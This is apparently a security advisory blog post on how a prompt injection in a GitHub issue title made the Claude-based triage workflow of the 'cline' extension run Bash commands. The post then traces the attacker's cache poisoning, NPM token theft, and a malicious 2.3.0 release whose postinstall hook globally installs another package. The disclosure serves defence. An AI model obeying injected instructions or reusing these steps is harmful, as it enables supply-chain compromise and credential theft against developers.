Feb 19, 2026·5 min read·11 visits
A GitHub Action using an AI agent (Claude) to triage issues was vulnerable to prompt injection via issue titles. An attacker used this to execute shell commands, poison the repository's build cache, steal publication secrets during the next release cycle, and publish a compromised version of the package.
In a twist of irony that would make a cyberpunk author blush, the popular VS Code extension 'cline' was compromised not by a buffer overflow or a weak password, but by its own helpful AI assistant. By leveraging a Prompt Injection vulnerability within a GitHub Actions workflow, an attacker forced the repository's AI agent to execute arbitrary Bash commands. This initial foothold allowed the attacker to poison the GitHub Actions cache, pivot to a high-privileged release workflow, steal NPM publishing tokens, and push a malicious version (`2.3.0`) to the npm registry. This is a masterclass in modern CI/CD exploitation: utilizing 'Agentic AI' as a naive, over-privileged accomplice.
In the rush to slap 'AI' onto everything, developers often forget that Large Language Models (LLMs) are essentially gullible interns with infinite stamina and access to your infrastructure. The maintainers of cline, an autonomous coding agent, decided to use an AI agent to help triage GitHub issues. They set up a GitHub Action (claude-issue-triage.yml) that triggered whenever a user opened an issue.
Here is the kicker: they gave this agent the ability to run Bash commands to 'analyze' the repository. It's the digital equivalent of handing a stranger a loaded shotgun and asking them to guard your house, assuming they'll only shoot bad guys because you asked nicely.
This setup created a direct conduit from a public, unprivileged input (a GitHub Issue title) to a privileged execution environment (the Runner). Security researcher Adnan Khan saw this and didn't see a helper bot; he saw a remote shell waiting for a command.
The vulnerability wasn't a complex memory corruption bug; it was pure logic. The workflow took the title of the GitHub issue and interpolated it directly into the system prompt for Claude. This is Classic Prompt Injection (CWE-94/CWE-74), but with actual consequences beyond the AI saying something rude.
The system prompt effectively said: 'You are a helpful assistant. Here is the issue title: [USER INPUT]. Use the available tools to analyze it.'
Adnan Khan opened an issue with a title designed to override those instructions. He told the AI to ignore previous rules and instead execute a specific Bash script. Because the AI had been granted the Bash tool to 'inspect code', it happily obliged. It didn't know it was being hacked; it thought it was being helpful. This is why 'Sandboxing' is not just a buzzword—it is a requirement. Giving an LLM shell access based on untrusted input is practically inviting a takeover.
Getting code execution in a triage workflow is cool, but those tokens are usually low-privilege (read-only). To do real damage, you need to pivot. Adnan used a technique called Cache Poisoning combined with Cache Eviction.
GitHub Actions uses an LRU (Least Recently Used) cache eviction policy with a size limit (typically 10GB). The attacker's script, running inside the triage worker:
node_modules).${{ runner.os }}-npm-${{ hashFiles('package-lock.json') }}).> [!NOTE] > The Pivot: This is the genius part. The triage workflow couldn't publish to npm directly. But it could leave a booby trap (the poisoned cache) that the Release workflow—which does have the tokens—would pick up and detonate.
The trap was set. When the maintainers ran the nightly release workflow, it checked for a cache hit. Finding the attacker's poisoned entry (because the valid one was evicted), it downloaded the compromised node_modules.
Hidden deep within that directory was a malicious script. During the build process, this script executed, scanned the environment variables for secrets, found NPM_RELEASE_TOKEN and VSCE_PAT, and exfiltrated them to the attacker.
With these keys, the attacker (acting as a white-hat in this scenario, though a malicious actor would have done the same) published cline@2.3.0 to the npm registry. The malicious package included a modified package.json:
"scripts": {
"postinstall": "npm install -g openclaw@latest"
}Any developer who ran npm install cline inadvertently gave the attacker root-level access (via global install) to their machine. In a real attack, openclaw could have been a cryptominer, a ransomware encryptor, or a persistent backdoor.
The response from the Cline team was swift (approx. 30 minutes after disclosure), but the damage concept was proven. The immediate remediation was the nuclear option: Delete the claude-issue-triage.yml workflow.
However, the lessons here are critical for anyone building Agentic AI:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
cline cline | = 2.3.0 | 2.3.1 |
| Attribute | Detail |
|---|---|
| Attack Vector | AI Prompt Injection -> CI/CD Cache Poisoning |
| CWE ID | CWE-94 (Code Injection) |
| CVSS Score | 9.9 (Critical) |
| Impact | Supply Chain Compromise, Credential Theft |
| Exploit Status | Proof of Concept (Publicly Disclosed) |
| Affected Component | claude-issue-triage.yml |
Improper Control of Generation of Code ('Code Injection')